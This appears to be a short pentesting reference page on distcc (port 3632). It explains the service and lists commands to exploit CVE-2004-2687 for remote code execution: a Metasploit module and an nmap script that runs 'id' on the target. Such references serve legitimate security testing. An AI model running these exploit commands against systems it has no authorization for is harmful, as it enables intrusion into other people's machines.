3632 - Pentesting distcc

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Basic Information

Distcc is a tool that enhances the compilation process by utilizing the idle processing power of other computers in the network. When distcc is set up on a machine, this machine is capable of distributing its compilation tasks to another system. This recipient system must be running the distccd daemon and must have a compatible compiler installed to process the sent code.

Default port: 3632

PORT     STATE SERVICE
3632/tcp open  distccd

Exploitation

Check if it's vulnerable to CVE-2004-2687 to execute arbitrary code:

msf5 > use exploit/unix/misc/distcc_exec
nmap -p 3632 <ip> --script distcc-cve2004-2687 --script-args="distcc-exec.cmd='id'"

Shodan

I don't think shodan detects this service.

Resources

• https://www.rapid7.com/db/modules/exploit/unix/misc/distcc_exec

• https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855

Post created by Álex B (@r1p)

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

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